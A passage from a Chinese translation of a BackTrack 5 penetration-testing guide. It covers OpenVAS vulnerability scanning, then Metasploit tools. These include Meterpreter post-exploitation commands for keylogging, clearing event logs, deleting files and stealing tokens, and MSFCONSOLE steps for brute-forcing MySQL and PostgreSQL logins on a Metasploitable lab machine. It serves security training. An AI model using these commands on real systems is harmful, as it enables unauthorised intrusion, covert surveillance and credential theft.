1．在默认情况下已经安装了OpenVAS，要想使用它，只需对其进行配置即可。

2．通过一个终端窗口，进入OpenVAS所在的目录。



　 cd /pentest/misc/openvas/






3．执行下列命令。



　 openvas-mkcert






下面将要为OpenVAS程序创建SSL证书。

　　i．首先设置CA证书的有效期，使用默认值就可以。

　　ii．更新证书的有效期，使其与CA证书的有效期一致，即1460
 天。

　　iii．输入国家。

　　iv．输入省份或州名（如果需要）。

　　v．使用默认的单位/组织名称。

　　vi．进入证书确认界面，如图4.15所示。

4．执行下列命令（见图4.16）。



　　openvas-nvt-sync






这条命令将OpenVAS NVT数据库与当前的NVT feed同步，同时也更新为最新的漏洞数据库。
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图4.15
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图4.16

5．执行下列命令。



　　openvas-mkcert-client -n om -i
　　openvasmd -rebuild






这将生成客户端证书，并且重建相关数据库。

6．执行下列命令。



　　openvassd






这将启动OpenVAS扫描器，并且加载所有插件（大约26406个），所以这个过程可能会比较长。

7．执行下列命令。



　　openvasmd --rebuild
　　openvasmd --backup






这些命令将重建数据库，并对数据库进行备份。

8．执行下列命令，创建OpenVAS的管理账号（在图4.17中使用的是openvasadmin）。



　　openvasad -c 'add _ user' -n openvasadmin -r admin
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图4.17

9．执行下列命令。



　　openvas-adduser






该命令允许创建普通用户。现在执行下述步骤，添加用户（见图4.18）。
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图4.18

　　i．输入登录用的用户名。

　　ii．在认证请求（Authentication）按Enter键（系统自动处理密钥证书）。

　　iii．连续两次输入用户的密码。

　　iv．使用组合键Ctrl
 +D
 操作用户的一些限制规则。

　　v．输入y，添加用户。

10．执行下列命令，配置OpenVAS将要交互的端口。



　　 openvasmd -p 9390 -a 127.0.0.1
　　 openvasad -a 127.0.0.1 -p 9393
　　 gsad --http-only --listen=127.0.0.1 -p 9392
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建议使用端口9392作为Web浏览器的HTTP端口，当然用户也可以自行设置。



11．通过浏览器访问
http://127.0.0.1:9392

 ，打开OpenVAS的Web界面（见图4.19）。
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图4.19

本例小结

在本示例中，我们先打开一个终端窗口，通过软件仓库（repository）安装OpenVAS。然后创建了一个证书，并安装插件数据库。接下来，我们创建了一个管理员账户和一个普通用户账户。最后，我们打开OpenVAS的Web界面，并看到了它的登录界面。
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每次对OpenVAS进行配置时，都需要重建数据库。



补充资料

每当需要运行OpenVAS的时候，都需要进行一系列设置。

1．同步NVT feed（这是一个好习惯，因为每当发现新的漏洞时，它都会发生改变）。

2．启动OpenVAS扫描器。

3．重建数据库。

4．备份数据库。

5．配置端口。

为了节省时间，我们可以建立一个Bash批处理脚本，如下所示。我们通过这个脚本来启动OpenVAS。将该文件保存为OpenVAS.sh
 ，然后将其存放在/root
 文件夹中。



   #!/bin/bash
   openvas-nvt-sync
   openvassd
   openvasmd --rebuild
   openvasmd --backup
   openvasmd -p 9390 -a 127.0.0.1
   openvasad -a 127.0.0.1 -p 9393
   gsad --http-only --listen=127.0.0.1 -p 9392






使用桌面版OpenVAS

我们也可以通过桌面版OpenVAS来执行相同的步骤。桌面版OpenVAS是一个基于GUI的应用程序。执行下述步骤可以启动该程序。

1．从开始菜单中选择Applications | BackTrack | Vulnerability Assessment | Vulnerability Scanners | OpenVAS | Start GreenBone Security Desktop
 ，启动程序（见图4.20）。
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图4.20

2．输入服务器地址127.0.0.1
 。

3．输入用户名。

4．输入密码。

5．单击Log in
 按钮。

4.8　OpenVAS——查找本地漏洞

OpenVAS允许我们攻击的漏洞范围也不尽相同。我们需要设置扫描目标和待评估的漏洞列表，使其与我们打算获取的信息类型相匹配。在本示例中，我们将使用OpenVAS来扫描目标的本地漏洞。

操作步骤

打开Firefox Web浏览器，准备使用OpenVAS来查找本地漏洞。

1．访问
http://127.0.0.1:9392

 ，登录到OpenVAS。

2．选择Configuration | Scan Configs
 （见图4.21）。
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图4.21

3．输入扫描任务的名称。在本例中，我们将使用Local Vulnerabilities
 。

4．在base选项中，选择Empty
 ，Static and fast
 选项，该选项可以让我们从空白开始，创建自己的配置。

5．单击Create Scan Config
 （见图4.22）。

6．现在编辑扫描配置。单击靠近Local Vulnerabilities
 的Wrench（扳手）图标（见图4.23）。

7．按下Ctrl
 +F
 ，然后在搜索栏中输入Local
 。
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图4.22

[image: 0422]


图4.23

8．搜索并选中下述family，在每个family上都选中Select all NVT's
 单选框（见图4.24）。一个family就是一组漏洞。需要选取的漏洞family如下所示。
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图4.24


	Compliance

	Credentials

	Default Accounts

	Denial of Service

	FTP

	Ubuntu Local Security Checks



9．单击Save Config
 。

10．然后找到Configuration | Targets
 （见图4.25）。
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图4.25

11．创建一个新的目标，然后执行下述任务。

i．输入目标的名称。

ii．通过下述方式之一设定主机。


	输入一个IP地址：
192.168.0.10





	输入多个邮件地址，使用英文逗号将其分割。
192.168.0.10,192.168.0.115





	输入一个IP网段。
192.168.0.1-20







12．单击Save Target
 。

13．现在选择Scan Management | New Task
 ，然后执行下述任务（见图4.26）。

　　 i．输入任务的名称。

　　 ii．输入任务的描述（可选）。
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图4.26

　　 iii．选择扫描配置文件，这里使用的是Local Vulnerabilities
 。

　　 iv．选择扫描目标，这里是Local Network
 。

　　v．其他选项可以使用默认设置。

　　vi．单击Create Task
 。

14．现在选择Scan Management | Tasks
 。

15．单击Play按钮开始扫描。这里是Local Vulnerabilities Scan
 （见图4.27）。
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图4.27

本例小结

在这个示例中，我们启动OpenVAS，并登录到其Web界面。然后配置OpenVAS，扫描一组本地漏洞。最后，选定目标，然后执行扫描。OpenVAS然后会根据NVT feed中包含的已知漏洞列表，扫描目标系统。

补充资料

扫描任务完成后，就可以查看报告了。

1．找到Scan Management | Tasks
 。

2．单击位于Local Vulnerabilities Scan
 旁边的紫色放大镜图标（见图4.28）。
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图4.28

3．单击最右侧的下载箭头图标来查看报告（见图4.29）。
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图4.29

4.9　OpenVAS——扫描网络漏洞

OpenVAS允许我们攻击的漏洞范围也不尽相同。我们需要设置扫描目标和待评估的漏洞列表，使其与我们打算获取的信息类型相匹配。在本示例中，我们将使用OpenVAS来扫描网络漏洞。这些漏洞都应该与网络远程设备运行的平台和服务相对应。

准备工作

要完成本示例，我们需要用到虚拟机：


	Windows XP；

	Windows 7；

	Metasploitable 2；

	任意版本的Linux。



操作步骤

打开Firefox Web浏览器，准备使用Nessus来查找网络漏洞。

1．访问
http://127.0.0.1:9392

 ，登录到OpenVAS。

2．选择Configuration | Scan Configs
 （见图4.30）。
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图4.30

3．输入扫描任务的名称。在本示例中，我们将使用Network Vulnerabilities
 。

4．在base选项中，选择Empty
 ，Static and fast
 选项，该选项可以让我们从空白开始，创建自己的配置。

5．单击Create Scan Config
 （见图4.31）。
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图4.31

6．现在编辑扫描配置。单击靠近Network Vulnerabilities
 的扳手（wrench）图标。

7．按下Ctrl
 +F
 ，然后在搜索栏中输入Network
 。

8．搜索并选中下述family，在每个family上都选中Select all NVT’s
 单选框（见图4.32）。一个family就是一组漏洞。需要选取的漏洞family如下所示。


	Brute force attacks

	Buffer overflow

	CISCO

	Compliance
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图4.32


	Credentials

	Databases

	Default Accounts

	Denial of Service

	FTP

	Finger abuses

	Firewalls

	Gain a shell remotely

	General

	Malware

	Netware

	NMAP NSE

	Peer-To-Peer File Sharing

	Port Scanners

	Privilege Escalation

	Product Detection

	RPC

	Remote File Access

	SMTP Problems

	SNMP

	Service detection

	Settings

	Wireless service



9．单击Save Config
 。

10．现在找到Configuration | Targets
 （见图4.33）。
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图4.33

11．创建一个新的目标，然后执行下述任务。

　　i．输入目标的名称。

　　ii．通过下述方式之一设定主机。


	输入一个IP地址。
192.168.0.10





	输入多个邮件地址，使用英文逗号将其分割。
192.168.0.10,192.168.0.115





	输入一个IP网段。
192.168.0.1-20







12．单击Save Target
 。

13．现在选择Scan Management | New Task
 ，然后执行下述任务（见图4.34）。
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图4.34

　　i．输入任务的名称。

　　ii．输入任务的描述（可选）。

　　iii．选择扫描配置文件，这里使用的是Netowrk Vulnerabilities
 。

　　iv．选择扫描目标，这里是Local Network
 。

　　v．其他选项可以使用默认设置。

　　vi．单击Create Task
 。

14．现在选择Scan Management | Tasks
 。

15．单击Play按钮开始扫描。这里是Network Vulnerabilities Scan
 。

本例小结

在这个示例中，我们启动OpenVAS，并登录到其Web界面。然后配置OpenVAS，扫描一组网络漏洞。最后，选定目标，然后执行扫描。OpenVAS然后针对NVT 授权（feed）中包含的已知漏洞列表，扫描目标系统。

补充资料

扫描任务完成后，就可以查看报告了。

1．找到Scan Management | Tasks
 。

2．单击位于Network Vulnerabilities Scan
 旁边的紫色放大镜图标。

3．单击最右侧的下载箭头来查看报告（见图4.35）。
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图4.35

4.10　OpenVAS——查找Linux漏洞

OpenVAS允许我们攻击的漏洞范围也不尽相同。我们需要设置扫描目标和待评估的漏洞列表，使其与我们打算获取的信息类型相匹配。在本示例中，我们将使用OpenVAS来扫描Linux漏洞，这些漏洞都应该是可能会出现在Linux机器的漏洞。

准备工作

要完成本示例，我们需要用到虚拟机：


	Metasploitable 2；

	任意版本的Linux。



操作步骤

打开Firefox Web浏览器，准备使用OpenVAS来查找Linux的特定漏洞。

1．通过
http://127.0.0.1:9392

 登录OpenVAS。

2．选择Configuration | Scan Configs
 （见图4.36）。
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图4.36

3．输入扫描任务的名称。在本示例中，我们使用的是Linux Vulnerabilities
 。

4．在base选项中，选择Empty
 ，static and fast
 选项，该选项可以让我们从空白开始，创建自己的配置。

5．单击Create Scan Config
 （见图4.37）。
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图4.37

6．现在编辑扫描配置。单击靠近Linux Vulnerabilities
 的扳手图标。

7．按下Ctrl
 +F
 ，然后在搜索栏中输入Linux
 。

8．搜索并选中下述family，在每个family上都选中Select all NVT’s
 单选框。一个family就是一组漏洞。需要选取的漏洞family如下所示。


	Brute force attacks

	Buffer overflow

	Compliance

	Credentials

	Databases

	Default Accounts

	Denial of Service

	FTP

	Finger abuses

	Gain a shell remotely

	General

	Malware

	Netware

	NMAP NSE

	Port Scanners

	Privilege Escalation

	Product Detection

	RPC

	Remote File Access

	SMTP Problems

	SNMP

	Service detection

	Settings

	Wireless services

	Web Servers



9．单击Save Config
 。

10．然后找到Configuration | Targets
 （见图4.38）。
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图4.38

11．创建一个新的目标，然后执行下述任务。

　　i．输入目标的名称。

　　ii．通过下述方式之一设定主机。


	输入一个IP地址。
192.168.0.10





	输入多个多个邮件地址，使用英文逗号将其分割。
192.168.0.10,192.168.0.115





	输入一个IP网段。
192.168.0.1-20







12．单击Save Target
 。

13．现在选择Scan Management | New Task
 ，然后执行下述任务（见图4.39）。
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图4.39

　　i．输入任务的名称。

　　ii．输入任务的描述（可选）。

　　iii．选择扫描配置文件，这里使用的是Linux Vulnerabilities
 。

　　iv．选择扫描目标，这里是Local Network
 。

　　v．其他选项可以使用默认设置。

　　vi．单击Create Task
 。

14．现在选择Scan Management | Tasks
 。

15．单击Play按钮开始扫描。这里是Linux Vulnerabilities Scan
 。

本例小结

在这个示例中，我们启动OpenVAS，并登录到其Web界面。然后配置OpenVAS，扫描一组Linux漏洞。最后，选定目标，然后执行扫描。OpenVAS然后针对NVT feed中包含的已知漏洞列表，扫描目标系统。

补充资料

扫描任务完成后，就可以查看报告了。

1．找到Scan Management | Tasks
 。

2．单击位于Linux Vulnerabilities Scan
 旁边的紫色放大镜图标。

3．单击最右侧的下载箭头图标来查看报告（见图4.40）。
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图4.40

4.11　OpenVAS——查找Windows漏洞

OpenVAS允许我们攻击的漏洞范围也不尽相同。我们需要设置扫描目标和待评估的漏洞列表，使其与我们打算获取的信息类型相匹配。在本示例中，我们将使用OpenVAS来扫描Windows漏洞。这些漏洞都是可能会出现在Windows机器上的漏洞。

准备工作

要完成本示例，我们需要用到虚拟机：


	Windows XP；

	Windows 7。



操作步骤

打开Firefox Web浏览器，准备使用OpenVAS来查找Windows的特定漏洞。

1．通过
http://127.0.0.1:9392

 登录OpenVAS。

2．选择Configuration | Scan Configs
 （见图4.41）。
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图4.41

3．输入扫描任务名称。在本例中，我们使用的是Windows Vulnerabilities
 。

4．在base选项中，选择选择Empty
 ，static and fast
 选项，该选项可以让我们从空白开始，创建自己的配置。

5．单击Create Scan Config
 （见图4.42）。
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图4.42

6．现在编辑扫描配置。单击靠近Windows Vulnerabilities
 的扳手图标。

7．按下Ctrl
 +F
 ，然后在搜索栏中输入Windows
 。

8．搜索并选中下述family，在每个family上都选中Select all NVT’s
 单选框（见图4.43）。一个family就是一组漏洞。需要选取的漏洞family如下所示。
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图4.43


	Brute force attacks

	Buffer overflow

	Compliance

	Credentials

	Databases

	Default Accounts

	Denial of Service

	FTP

	Gain a shell remotely

	General

	Malware

	NMAP NSE

	Port Scanners

	Privilege Escalation

	Product Detection

	RPC

	Remote File Access

	SMTP Problems

	SNMP

	Service detection

	Web Servers

	Windows

	Windows: Microsoft Bulletins



9．单击Save Config
 。

10．现在找到Configuration | Targets
 （见图4.44）。
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图4.44

11．创建一个新的目标，然后执行下述任务。

　　i．输入目标的名称。

　　ii．通过下述方式之一设定主机。


	输入一个IP地址。
192.168.0.10





	输入多个邮件地址，使用英文逗号将其分割。
192.168.0.10,192.168.0.115





	输入一个IP网段。
192.168.0.1-20







12．单击Save Target
 。

13．现在选择Scan Management | New Task
 ，然后执行下述任务（见图4.45）。
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图4.45

　　i．输入任务的名称。

　　ii．输入任务的描述（可选）。

　　iii．选择扫描配置文件，这里使用的是Windows Vulnerabilities
 。

　　iv．选择扫描目标，这里是Local Network
 。

　　v．其他选项可以使用默认设置。

　　vi．单击Create Task
 。

14．现在选择Scan Management | Tasks
 。

15．单击Play按钮开始扫描。这里是Windows Vulnerabilities Scan
 。

本例小结

在这个示例中，我们启动OpenVAS，并登录到其Web界面。然后配置OpenVAS，扫描一组本地漏洞。最后，选定目标，然后执行扫描。OpenVAS然后针对NVT feed中包含的已知漏洞列表，扫描目标系统。

补充资料

扫描任务完成后，就可以查看报告了。

1．找到Scan Management | Tasks
 。

2．单击位于Windows Vulnerabilities Scan
 旁边的紫色放大镜图标。

3．单击最右侧的下载箭头图标来查看报告（见图4.46）。
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图4.46








第5章　漏洞利用

本章将讲解下述内容：


	利用BackTrack实现攻击；

	安装、配置Metasploitable；

	掌握Armitage——Metasploit的图形管理工具；

	掌握Metasploit Console（MSFCONSOLE）；

	掌握Metasploit CLI（MSFCLI）

	掌握Meterpreter；

	Metasploitable MySQL；

	Metasploitable PostgreSQL；

	Metasploitable Tomcat；

	Metasploitable PDF；

	部署browser_autopwn模块。



5.1　简介

在完成漏洞扫描的任务之后，我们就有了足够的资料去针对目标系统的漏洞发起攻击。本章将仔细讲解各种不同的工具，包括号称瑞士军刀的漏洞测试系统：Metasploit。

5.2　利用BackTrack实现攻击

在本示例中，将介绍BackTrack 5系统自带的一些实现攻击的工具。在BackTrack的每一个发行版本中，BackTrack团队都会发布新的漏洞利用工具，并对之前的漏洞利用工具进行改进。漏洞利用工具（exploit）指的是利用软件bug或漏洞的程序，它能够使软件脱离设计人员的原本意图，按照攻击者的意愿工作。如果用网站来举例，exploit可能就是仅仅使用网站漏洞的程序，这些程序想方设法地越权访问数据库服务器，然后试图提升exploit自己的权限，最终彻底控制这台主机。在软件发布的时候，软件本身往往也带有潜在漏洞和bug。在多数情况下，黑客会找到这些漏洞，并创建exploit来利用这些漏洞。正因为这种情况实际存在，BackTrack创始人和社区也会不断更新BackTrack的发行版本，使其包含这些新的exploit。

操作步骤

我们先通过开始菜单来回顾BackTrack的漏洞利用工具。

1．从开始菜单中选择Applications | BackTrack | Exploitation Tools
 （见图5.1）。
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图5.1

2．将会看到一系列可用的exploit分类与子类别。


	
Network Exploitation Tools：

Cisco Attacks

Fast-Track

Metasploit Framework

SAP Exploitation



	
Web Exploitation Tools



	
Database Exploitation Tools：

MSSQL Exploitation Tools

MySQL Exploitation Tools

Oracle Exploitation Tools



	
Wireless Exploitation Tools：

BlueTooth Exploitation

GSM Exploitation

WLAN Exploitation



	
Social Engineering Tools：

BeEF XSS Framework

HoneyPots

Social Engineering Toolkit



	
Physical Exploitation



	
Open Source Exploitation：

Exploit-DB

Online Archives





3．每一个分类和子类别都包含指向不同工具的各个链接。用户可通过GUI或者Web页面、终端窗口的方式来使用这些工具。在后续章节，我们将详细讲解这些工具。

本例小结

在本示例中，我们将使用BackTrack的Exploitation Tools
 菜单选项来执行漏洞利用工具。此外，BackTrack内的所有工具都可以通过命令行来运行。

5.3　安装、配置Metasploitable

在本示例中，我们将安装、配置和启动Metasploitable 2。Metasploitable
 是基于Linux的操作系统研发的，用来给Metasploit的各种攻击当靶机；换句话说，它就是一个全身漏洞的Linux。它由Rapid7设计，Rapid7也是Metasploit Framework的拥有者。对于使用Meterpreter来执行命令的初学者来说，Metasploitable是个出色的平台。

准备工作

在进行下一步操作之前，下述条件需要得以满足：


	系统需要接入Internet；

	您的VirtualBox PC中，硬盘至少有8GB的可用空间；

	一个解压缩工具（本例使用Windows版本的7-Zip）。



操作步骤

我们先下载Metasploitable 2。最好能从SourceForge下载这个安装程序。

1．从链接http://sourceforge.net/projects/metasploitable/files/Metasploitable2/
 中下载Metasploitable 2。

2．将下载的文件保存到硬盘。

3．解压缩这个文件。

4．将解压出来的文件放置到虚拟磁盘文件的文件夹。

5．打开VirtualBox并单击New
 按钮（见图5.2）。
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图5.2

6．单击Next
 （见图5.3）。
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图5.3

7．输入虚拟机的名字，这里使用的是Metasploitable 2，同时将操作系统设置为Linux
 ，版本为Ubuntu，
 然后单击Next
 （见图5.4）。
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图5.4

8．如果内存足够的话，分配给虚拟机512 MB
 内存，然后单击Next
 （见图5.5）。
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图5.5

9．选择Use existing hard disk，
 然后从下载并保存的Metasploitable 2文件夹中选择VMDK文件（见图5.6）。

10．您的虚拟磁盘窗口现在应该如图5.7所示。

在本示例中，根本不需要更新磁盘空间。原因是在使用Metaploitable的时候，我们是将它当成靶机（即当做被攻击的操作系统）使用，而不是当做操作系统使用。单击Next
 。

11．现在单击Create
 （见图5.8）。
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图5.6
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图5.7
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图5.8

12．单击Metasploitable 2的名字，然后单击Start
 按钮，将其启动（见图5.9）。
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图5.9

本例小结

在本示例中，我们在VirtualBox上安装了Metasploitable 2。我们先从sourceforge.net
 下载了Metasploitable，然后配置VMDK文件，使其在VirtualBox内运行，最后我们启动该系统。

5.4　掌握Armitage——Metasploit的图形管理工具

较新版本的Metasploit都自带了图形化前端工具——Armitage
 。理解和掌握Armtiage非常重要，因为它为用户提供了可视化的信息，从而大大降低了Metasploit操作的复杂度。Armtage的操作着围绕着Metasploit控制台展开，它通过标签（tab）管理各种程序和各类资讯，这样就可以同时处理多个Metasploit控制台（参见后文的示例）或Meterpreter会话。

准备工作

在进行下一步操作之前，系统需要接入Internet或者内部网络。

操作步骤

现在开始操作Armitage。

1．在开始菜单中启动Applications | BackTrack | Exploitation Tools | Network Exploitation Tools | Metasploit Framework | armitage
 （见图5.10）。
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图5.10

2．在出现的Armitage登录界面中，单击Connect
 按钮（见图5.11）。
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图5.11

3．Armitage连接Metasploit的耗时可能会比较长。在连接时，用户将看到图5.12所示的通知窗口。不要惊慌。当Armitage成功连接时，这个窗口就会消失。在看到Start Metasploit？
 通知窗口时，只需单击Yes。
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图5.12

4．之后出现Armitage主屏幕。我们着重讨论主屏幕中的三个区域（在图5.13中，我们将其标注为A、B
 和C
 ）。


	
A
 ：该区域显示预配置的模块。您可以在模块列表下面的文本框中输入要查找的模块进行查找。

	
B：
 该区域显示我们可以进行漏洞测试的活跃主机。

	
C
 ：该区域显示多个Metasploit标签，可以让运行的多个Meterpreter或控制台会话能够同时显示。
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图5.13

[image: Advanced-Penetration-Testing-for-Highly-Secured-Environments-The-Ultimate-Security-Guide-eBook24062012_1093525-24]
 启动Armitage的另一种方法是在终端窗口中输入下述命令：



  armitage 





更多内容

如需了解Meterpreter的更多细节，请查阅本章的5.7节。

5.5　掌握Metasploit控制台（MSFCONSOLE）

在本示例中，我们将详细介绍Metasploit Framework Console（MSFCONSOLE）
 。MSFCONSOLE主要用来管理Metasploit数据库，管理会话，并配置和启动Metasploit的模块。从本质上讲，在漏洞利用的具体过程中，MSFCONSOLE用来连接主机，以便对其发起攻击。

在与控制台进行交互时，一些常用的命令如下所示。


	
help
 ：该命令用来查看输入命令的帮助文件。

	
use modulename
 ：该命令允许用户开始配置所选择的模块。

	
set optionname modulename
 ：该命令允许用户设置指定模块的不同选项。

	
exploit：
 该命令将启动exploit模块。

	
run：
 该命令将启动非入侵利用（non-expliot）类型的模块。

	
search modulename：
 该命令允许用户搜索单个模块。

	
exit：
 该命令允许用户退出MSFCONSOLE。



准备工作

在进行下一步操作之前，系统需要接入Internet或者内部网络。

操作步骤

现在开始探索MSFCONSOLE。

1．打开终端窗口。

2．执行下列命令启动MSFCONSOLE。



    msfconsole 





3．使用search
 命令搜索所有可用的Linux模块（见图5.14）。我们建议您在每次使用模块之前都用search
 命令搜索该模块。在不同版本的Metasploit之间，同一个模块的路径可能会不尽相同。



    search linux 
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图5.14

4．使用John the Ripper Linux Password Cracker模块（见图5.15）。



    use auxiliary/analyzse/jtr_linux 
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图5.15

5．使用下述命令来显示模块的可用选项（见图5.16）。



    show options 
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图5.16

6．现在我们得到了该模块可以运行的选项列表，我们可以使用set
 命令来设置个别选项。现在我们设置JOHN_PATH
 选项。

7．现在输入exploit
 命令来运行这个模块（见图5.17）。



    exploit 
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图5.17

补充资料

在使用MSFCONSOLE连接到主机后，必须使用Meterpreter来实现payload。MSFCONSOLE会管理您的会话，但是Meterpreter才是分发payload的工兵。

5.6　掌握Metasploit CLI（MSFCLI）

在本例中，我们将讲解Metasploit Framework CLI（MSFCLI）。
 Metasploit需要使用一个人机界面作为它的操作平台。MSFCLI就是Metasploit的这种人机界面。在学习Metasploit或测试/编写新exploit时，MSFCLI能够显现出它界面友好的特性。它也能够胜任脚本等基本的自动化操作。

使用MSFCLI的不便之处是，您同时只可以打开一个shell，即MSFCLI存在单线程操作的局限。在讲解它的命令时，您也会发现，与MSFCONSOLE相比，它执行起来有些缓慢而且也更为复杂。最后，要想在MSFCLI上操作Metasploit，您必须知道exploit模块的确切名称。对不熟悉Metasploit exploit列表的渗透测试新人来说，这会让他们手足无措。

常用到的MSFCLI命令如下所示。


	
msfcli：
 让MSFCLI加载所有可用的漏洞列表。

	
msfcli -h：
 显示MSFCLI的帮助文件。

	
/opt/metasploit/msf3/msfcli [PATH TO EXPLOIT] [options =value]：
 这是启动exploit的命令格式。



准备工作

在进行下一步操作之前，系统需要接入Internet或者内部网络。

操作步骤

现在开始探索MSFCLI。

1．启动MSFCLI（见图5.18）。启动程序的耗时与系统硬件性能有关，请耐心等候。您还将注意到，在MSFCLI的加载过程里，屏幕也会显示出可供操作的exploit列表。



    msfcli 
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图5.18

2．使用下述命令来显示MSFCLI帮助文件（见图5.19）。



    msfcli -h 







[image: 0520]


图5.19

3．为了演示起见，我们启动一个“圣诞树扫描”任务。我们在命令中使用选项A
 来显示模块的高级选项（见图5.20）。



    /opt/metasploit/msf3/msfcli auxiliary/scanner/portscan/xmas A 
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图5.20

4．此外，也可以使用S模式（summary）列出当前模块的汇总信息（见图5.21）。汇总（summary）模式可以查看打算执行的exploit的所有可用选项。有些选项是可选的，通常只有一小部分是必选的，这些必选选项一般用来设置攻击目标的IP或端口。



    /opt/metasploit/msf3/msfcli auxiliary/scanner/portscan/xmas S 





5．使用O
 模式可以显示该exploit的可用选项列表。选项（options）模式可以用来配置exploit模块。每个exploit有不同的配置选项（当然也可能完全不需要选项）。执行exploit之前，必须设置所有的必选项。在图5.22中可以看到，很多必须选使用的是默认值。在这种情况下，除非您打算更改这些默认值，否则就不要处理这些选项。



    /opt/metasploit/msf3/msfcli auxiliary/scanner/portscan/xmas O 
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图5.21

[image: 0523]


图5.22

6．使用E
 模式来执行exploit。



    /opt/metasploit/msf3/msfcli auxiliary/scanner/portscan/xmas E 





本例小结

在本示例中，我们启动了MSFCLI，搜索打算使用的模块，然后执行该模块。在搜索阶段，我们使用圣诞树扫描来扫描模块，然后介绍了用来查看模块汇总信息及其可用选项的界面。在设置完所有的选项后，执行exploit。

补充资料

读者有必要知道Metasploit Framework（框架）分为3个不同的部分。


	
Vulnerabilities：
 漏洞，即程序的弱点。无论是已知还是未知，它们包含在具体的应用程序、软件安装包或协议中。在Metasploit中，漏洞以组的形式列出，而且在每一组漏洞下面还列出了可以发起攻击的exploit。

	
Exploits：
 可以将exploit视为针对已发现漏洞进行利用的模块。

	
Payloads：
 只有在成功执行exploit之后，有效负载才能被分发到被攻击的机器，以允许我们创建shell、运行各种命令、添加用户等。



在使用MSFCLI或MSCONSOLE连接到主机后，您必须使用Meterpreter来分发payload。MSFCONSOLE管理会话，但是Meterpreter才是实现payload的工兵。

更多资料

如需了解Meterpreter的更多细节，请参阅本书5.7节。


5.7　掌握Metapreter

在使用Armitage、MSFCLI或MSCONSOLE连接到主机后，您必须使用Meterpreter来分发payload。MSFCONSOLE用来管理会话，但是Meterpreter才是实现payload的工兵。

Meterpreter的常用指令如下所示。


	
help
 ：该命令允许用户查看帮助文件。

	
background
 ：该命令允许用户将Meterpreter会话置于后台运行。该命令会将用户带回MSF（Metasploit）提示符。

	
download
 ：该命令允许用户从受害者的机器中下载文件。

	
upload
 ：该命令允许用户将文件上传到受害者的机器中。

	
execute
 ：该命令允许用户在受害者的机器上运行程序。

	
shell
 ：该命令允许用户在受害者的机器上运行Windows shell提示符（仅限于Windows主机）。

	
session -i：
 该命令允许用户在不同的会话中切换。



准备工作

在进行下一步操作之前，需要满足以下条件：


	系统需要接入Internet或者内部网络；

	使用Armitage、MSFCLI或MSFCONSOLE与目标主机创建了一个活动的会话。



操作步骤

现在打开MSFCONSOLE。

1．通过MSFCONSOLE进入一个活跃的会话。

2．开始获取目标系统的用户的击键记录。

　 keyscan_start


3．转储（dump）目标系统的用户的击键记录。击键记录将显示在屏幕上。

　 keyscan_dump


4．停止获取目标系统的用户的击键记录。

　 keyscan_stop


5．删除目标系统上的一个文件。

　 del exploited.docx


6．清除目标系统上的事件日志。

　 clearav


7．显示运行进程列表。

　 ps


8．使用kill[pid]
 命令杀死目标系统上的一个进程，如下所示。

　 kill 6353


9．尝试从目标系统窃取获取模拟令牌（impersonation token）。

　 steal_token


本例小结

我们使用前面创建的Meterpreter会话开始讲解本示例，会话可使用Armitage、MSFCONSOLE或MSFCLI来创建。然后，我们在目标主机上运行各种命令。

补充资料

当我们使用Meterpreter渗透Linux主机时，我们就要在目标主机上运行Linux命令。我们坐在目标主机前面操作什么命令，就要在Meterpreter里发送什么命令（见图5.23）。

[image: 0524]


图5.23

5.8 Metasploitable MySQL

在本示例中，我们将讲解如何使用Metasploit来攻击MySQL数据库，这里用到的是MySQL Scanner模块。许多网站选择的数据库有Drupal和WordPress等，但是当前有些网站使用的是MySQL数据库服务器。Metasploitable MySQL攻击可以轻易渗透MySQL。

准备工作

在进行下一步操作之前，需要满足以下条件：


	系统需要接入内部网络；

	在渗透实验室中已经有一台运行Metasploitable系统的主机或虚拟机；

	用于执行字典攻击的单词列表。



操作步骤

现在打开一个终端窗口，准备开始MySQL攻击。

1．打开一个终端窗口。

2．启动MSFCONSOLE。



    msfconsole 





3．扫描可用的MySQL模块（见图5.24）。



    search mysql 
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图5.24

4．使用MySQL Login工具（见图5.25）。



    use auxiliary/scanner/mysql/mysql_login 
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图5.25

5．显示模块的可用选项（见图5.26）。



    show options 
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图5.26

6．将RHOST设置为Metasploitable 2虚拟机或者主机的IP地址。



    set RHOSTS 192.168.10.111 





7．设置用户名文件的位置。这里是一个用户列表文件。



    set user_file /root/Desktop/usernames.txt 





8．设置密码文件的位置。这里是一个密码列表文件（见图5.27）。



    set pass_file /root/Desktop/passwords.txt 
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图5.27

9．执行exploit。



    exploit 





10．Metasploit开始工作，并根据上面两个文件中用户名和密码的组合逐一进行暴力测试（见图5.28）。注意“＋”号标识，如果用户名和密码边上出现这个标识，表示这个用户名和密码的组合正确。
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图5.28

本例小结

在本示例中，我们使用Metasploit的MSFCONSOLE测试Metasploitable 2主机上的MySQL漏洞。我们先启动一个终端，然后搜索所有已知的MySQL漏洞，在选择了MySQL Login exploit之后，我们就可以对MySQL登录进行暴力攻击。操作过程就分为设置模块选项、执行exploit两部分。Metasploit将通过使用您指定的用户名和密码文件，尝试对MySQL数据库进行暴力攻击。

补充资料

在本示例中，我们使用了一个自定义的用户名和密码文件。有多种方法可以生成用户名字典列表和密码文件，其中有些方法将在第9章讲解。

5.9　Metasploitable PostgreSQL

在本示例中，我们将讲解如何使用Metasploit来攻击PostgreSQL数据库服务器，这里使用的是PostgreSQL Scanner模块。PostgreSQL号称是世界上最高级的开源数据库，粉丝更称其为企业级的数据库。我们将使用Metasploit对PostgreSQL登录执行暴力攻击。

准备工作

在进行下一步操作之前，需要满足以下条件：


	系统需要接入内部网络；

	在渗透实验室中已经有一台运行Metasploitable系统的主机或虚拟机；

	用于执行字典攻击的单词列表。



操作步骤

现在打开一个终端窗口，开始PostgreSQL攻击。

1．打开一个终端窗口。

2．启动MSFCONSOLE。



    msfconsole 





3．搜索所有可用的PostgreSQL模块（见图5.29）。



    search postgresql 





4．使用PostgreSQL Login工具（见图5.30）。



    use auxiliary/scanner/postgres/postgres_login 
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图5.29
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图5.30

5．显示模块的可用选项。



    show options 





6．将RHOST设置为Metasploitable 2虚拟机或者主机的IP地址。



    set RHOSTS 192.168.10.111 





7．设置用户名文件的位置。这里是一个用户列表文件。



    set user_file
    /opt/metasploit/msf3/data/wordlists/postgres_default_user.txt
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图5.31

8．设置密码文件的位置。这里是一个密码列表文件（见图5.31）。



    set pass_file
    /opt/metasploit/msf3/data/wordlists/postgres_default_pass.txt







9．执行exploit。



    exploit 





本例小结

